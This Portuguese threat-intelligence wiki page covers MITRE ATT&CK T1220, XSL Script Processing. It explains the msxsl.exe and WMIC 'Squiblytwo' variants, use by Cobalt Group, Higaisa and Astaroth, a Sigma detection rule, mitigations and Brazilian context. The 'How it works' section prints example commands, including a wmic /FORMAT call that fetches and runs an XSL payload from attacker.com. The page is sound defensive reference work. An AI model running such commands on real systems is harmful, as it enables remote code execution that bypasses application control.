# T1220 - XSL Script Processing
## Descrição
**T1220 - XSL Script Processing** é uma técnica de [[_defense-evasion|Defense Evasion]] em que adversários abusam da capacidade de processamento de scripts do padrão XSL (Extensible Stylesheet Language) para executar código arbitrário, contornando soluções de controle de aplicação e whitelisting. A técnica é classificada no MITRE ATT&CK como mecanismo de execução indireta via ferramenta confiável - similar a [[t1127-trusted-developer-utilities-proxy-execution|Trusted Developer Utilities Proxy Execution]].
XSL é um padrão W3C projetado para transformar e renderizar dados XML. Para suportar transformações complexas, a específicação permite embutir scripts em linguagens como JavaScript, VBScript e C# diretamente dentro de arquivos `.xsl`. Adversários exploram essa capacidade para encapsular shellcode, downloaders ou implantes completos dentro de arquivos que aparentemente são apenas transformações de dados XML.
Existem duas variantes principais da técnica:
**Variante 1 - msxsl.exe (MSXSL):** Usa o utilitário de linha de comando `msxsl.exe` da Microsoft para processar arquivos XSL contendo scripts maliciosos. Como `msxsl.exe` não é instalado por padrão, o adversário precisa entregá-lo junto com o payload - porém, por ser um binário assinado pela Microsoft, tende a passar despercebido por controles de whitelist baseados em assinatura.
**Variante 2 - "Squiblytwo" (WMIC + XSL):** Abusa do [[t1047-windows-management-instrumentation|Windows Management Instrumentation]] (WMIC) com o switch `/FORMAT` para carregar e executar scripts JScript ou VBScript embutidos em um arquivo XSL local ou remoto. Esta variante é mais perigosa por utilizar `wmic.exe`, um binário presente em todas as instalações do Windows e amplamente whitelisted em ambientes corporativos.
> **Técnica relacionada:** [[t1218-010-regsvr32|T1218.010 - Regsvr32 ("Squiblydoo")]] - mesma família de LOLBins (Living off the Land Binaries) que usa binários do Windows para execução proxy.
---
## Como Funciona
### Variante msxsl.exe
O `msxsl.exe` aceita dois argumentos: um arquivo XML de origem e um arquivo XSL de folha de estilo. O arquivo XSL pode conter blocos `<msxsl:script>` com código JavaScript ou VBScript que é executado durante o processamento da transformação. Como o arquivo XSL é XML válido, o adversário pode usar o mesmo arquivo tanto como fonte quanto como folha de estilo.
Exemplos de linha de comando observados:
```
msxsl.exe dados.xml payload.xsl
msxsl.exe payload.xsl payload.xsl
msxsl.exe payload.jpeg payload.jpeg
```
A extensão do arquivo é ignorada pelo `msxsl.exe` - qualquer arquivo com conteúdo XSL válido será processado, independentemente da extensão. Isso permite que adversários disfarcem o arquivo malicioso com extensões inócuas (`.jpeg`, `.txt`, `.dat`).
### Variante Squiblytwo (WMIC)
O `wmic.exe` possui um switch `/FORMAT` que aceita um arquivo XSL (local ou via URL remota) para formatar a saída de um comando WMI. O arquivo XSL é processado pelo motor MSXML, que executa qualquer script embutido:
```
wmic process list /FORMAT:evil.xsl
wmic os get /FORMAT:"https://attacker.com/payload.xsl"
```
A variante remota é especialmente poderosa: o arquivo XSL é baixado e executado em memória sem tocar o disco local, tornando a detecção baseada em hash ineficaz.
### Estrutura de um XSL malicioso (exemplo genérico de referência)
Um arquivo XSL malicioso típico utiliza a tag `<msxsl:script>` com namespace `urn:schemas-microsoft-com:xslt` para embutir código de script que é executado pelo motor XSLT do Windows durante o processamento da transformação. O código pode referenciar objetos COM do Windows (como `WScript.Shell` ou `Scripting.FileSystemObject`) para executar comandos do sistema, baixar payloads secundários ou estabelecer comúnicação com infraestrutura C2.
---
## Attack Flow
```mermaid
graph TB
A([Adversário]) --> B[Prepara arquivo XSL malicioso<br/>com script embutido]
B --> C{Vetor de entrega}
C --> D[Entrega via Phishing<br/>arquivo .xsl, .xml, ou disfarçado]
C --> E[Entrega via URL remota<br/>hostedado em infraestrutura C2]
D --> F[Execução via msxsl.exe]
D --> G[Execução via wmic /FORMAT local]
E --> G
E --> H[Execução via wmic /FORMAT remoto<br/>Download + exec in-memory]
F --> I[Motor XSLT executa<br/>script embutido]
G --> I
H --> I
I --> J{Ação do script}
J --> K[Download de payload<br/>de segundo estágio]
J --> L[Execução de shellcode<br/>em memória]
J --> M[Estabelece persistência<br/>via COM/registro]
K --> N([Implante ativo / C2])
L --> N
M --> N
style A fill:#c0392b,color:#fff
style I fill:#e67e22,color:#fff
style N fill:#2c3e50,color:#fff
style H fill:#8e44ad,color:#fff
```
---
## Exemplos de Uso
### Cobalt Group
O [[g0080-cobalt-group|Cobalt Group]] - grupo criminoso especializado em ataques a instituições financeiras - utilizou T1220 como parte de sua cadeia de ataque contra bancos em múltiplos países, incluindo operações documentadas contra instituições na Rússia, Europa Oriental e LATAM. O grupo usou `msxsl.exe` para executar scripts JavaScript que baixavam e executavam o [[s0154-cobalt-strike|Cobalt Strike]] beacon a partir de infraestrutura C2 controlada.
### Higaisa
O grupo [[g0126-higaisa|Higaisa]], ligado a interesses norte-coreanos, foi documentado usando XSL Script Processing em campanhas de espionagem contra alvos governamentais e de defesa. A técnica foi usada para contornar soluções de antivírus em ambientes altamente protegidos, onde binários não assinados seriam bloqueados.
### Astaroth (LATAM)
O malware [[s0373-astaroth|Astaroth]], extensamente documentado em ataques contra usuários brasileiros, usa a variante WMIC Squiblytwo para carregar seus componentes. O fluxo típico:
1. Usuário executa arquivo `.lnk` ou `.js` recebido por [[t1566-phishing|Phishing]]
2. Script inicial invoca `wmic.exe` com `/FORMAT` apontando para URL remota
3. Arquivo XSL remoto contém JavaScript que baixa e injeta o loader do [[s0373-astaroth|Astaroth]]
4. Toda a cadeia roda em processos confiáveis do Windows, sem criar arquivos PE suspeitos
Esta técnica foi central nas campanhas do [[s0373-astaroth|Astaroth]] documentadas pela equipe do Google TAG e pela Cisco Talos em 2019-2020, com vítimas concentradas no setor financeiro e varejo brasileiro.
---
## Detecção
### Indicadores de comportamento
- Processo `wmic.exe` com argumento `/FORMAT` apontando para arquivo `.xsl` ou URL HTTP/HTTPS
- Processo `msxsl.exe` executado - especialmente se não instalado originalmente no sistema
- `wmic.exe` gerando processos filhos incomuns (ex: `cmd.exe`, `powershell.exe`, `wscript.exe`)
- Conexões de rede originadas de `wmic.exe` para IPs/domínios externos
- Arquivos XSL criados em pastas temporárias seguidos de execução via `msxsl.exe` ou `wmic.exe`
### Regra Sigma
```yaml
title: XSL Script Processing via WMIC or msxsl (Squiblytwo / T1220)
id: 7c2a1e4f-83b5-4d67-a9c3-5f8e2d1b6a04
status: stable
description: >
Detecta uso de wmic.exe com /FORMAT para executar XSL scripts locais ou
remotos (Squiblytwo), e uso de msxsl.exe para execução de scripts XSL -
técnicas de bypass de application control (T1220).
references:
- https://attack.mitre.org/techniques/T1220/
- https://lolbas-project.github.io/lolbas/Binaries/Wmic/
- https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/
author: RunkIntel
daté: 2026-03-25
tags:
- attack.defense_evasion
- attack.t1220
logsource:
category: process_creation
product: windows
detection:
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/FORMAT'
selection_wmic_remote:
CommandLine|contains:
- 'http://'
- 'https://'
- '.xsl'
- '.xml'
selection_msxsl:
Image|endswith: '\msxsl.exe'
condition: selection_msxsl or (selection_wmic and selection_wmic_remote)
falsepositives:
- Ferramentas de administração legítimas que usam wmic /FORMAT para relatórios
- Scripts de inventário corporativo
level: high
```
### Fontes de dados recomendadas
| Fonte | Evento | Descrição |
|-------|--------|-----------|
| Sysmon (Event ID 1) | ProcessCreaté | Detecta execução de `wmic.exe` e `msxsl.exe` com argumentos suspeitos |
| Sysmon (Event ID 3) | NetworkConnect | Conexão de rede originada de `wmic.exe` |
| Windows Security Log (4688) | Process Creation | Criação de processo (requer auditoria ativada) |
| EDR Command Line Telemetry | - | Análise de linha de comando de `wmic.exe` com `/FORMAT` |
| DNS Query Logs | - | Queries DNS originadas de `wmic.exe` |
---
## Mitigação
| ID | Mitigação | Descrição |
|----|-----------|-----------|
| M1038 | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Bloquear execução de `msxsl.exe` via AppLocker ou WDAC. Criar regra de deny para `msxsl.exe` se não utilizado na organização |
| - | Restrição de WMIC | Desativar WMIC via GPO (`Software\Policies\Microsoft\Windows\WMI`) em estações que não necessitam do recurso |
| - | Bloqueio de WMIC /FORMAT remoto | Bloquear `wmic.exe` de realizar conexões HTTP/HTTPS via regras de firewall de host ou WDAC |
| - | Network Segmentation | Usar proxy web com inspeção SSL para bloquear downloads de `.xsl` em tempo real |
| - | Application Whitelisting | Implementar política de controle de aplicação que restrinjá execução de scripts via LOLBins |
---
## Contexto Brasil/LATAM
O T1220 tem relevância operacional elevada no Brasil devido à predominância de [[s0373-astaroth|Astaroth]] e famílias derivadas que dependem da variante WMIC Squiblytwo como mecanismo central de carga.
**Por que é tão eficaz no Brasil:**
1. **Alta adoção de Windows legado:** Muitas organizações brasileiras - especialmente no setor financeiro e varejo - ainda operam com Windows 7 e Windows 10 desatualizado, onde o `wmic.exe` não tem restrições de execução e o EDR pode não ter visibilidade de argumentos de linha de comando.
2. **Exclusões amplas de AV:** Soluções antivírus corporativas frequentemente excluem processos do sistema como `wmic.exe` de scans ativos, tornando a execução de XSL malicioso completamente invisível para essas ferramentas.
3. **Campanhas ativas documentadas:** O [[s0373-astaroth|Astaroth]] foi identificado pela Microsoft, Cisco Talos e CERT.br como ameaça ativa no ecossistema brasileiro. Em 2019, a Microsoft reportou que o [[s0373-astaroth|Astaroth]] era distribuído exclusivamente via Squiblytwo, com infraestrutura C2 hospedada em CDNs legítimos (YouTube, Facebook) para evasão de proxy.
**Grupos e campanhas relacionados ao LATAM:**
- [[g0080-cobalt-group|Cobalt Group]]: documentado em operações contra bancos latino-americanos
- [[ta505|TA505]]: usa técnicas similares em campanhas de distribuição de malware bancário na região
- Grupos de ransomware têm adotado XSL como estágio inicial antes do deploy do encryptador
---
## Referências
- [MITRE ATT&CK - T1220](https://attack.mitre.org/techniques/T1220/)
- [LOLBAS - wmic.exe](https://lolbas-project.github.io/lolbas/Binaries/Wmic/)
- [LOLBAS - msxsl.exe](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/)
- [Microsoft - Astaroth malware analysis (2019)](https://www.microsoft.com/en-us/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/)
- [[g0080-cobalt-group|Cobalt Group]] - threat actor que usa esta técnica
- [[g0126-higaisa|Higaisa]] - threat actor que usa esta técnica
- [[s0373-astaroth|Astaroth]] - malware brasileiro que depende de Squiblytwo
- [[t1047-windows-management-instrumentation|T1047 - Windows Management Instrumentation]] - abusado pela variante Squiblytwo
- [[t1127-trusted-developer-utilities-proxy-execution|T1127 - Trusted Developer Utilities Proxy Execution]] - técnica da mesma família
- [[t1218-010-regsvr32|T1218.010 - Regsvr32 (Squiblydoo)]] - contraparte da variante Squiblytwo
- [[m1038-execution-prevention|M1038 - Execution Prevention]] - mitigação recomendada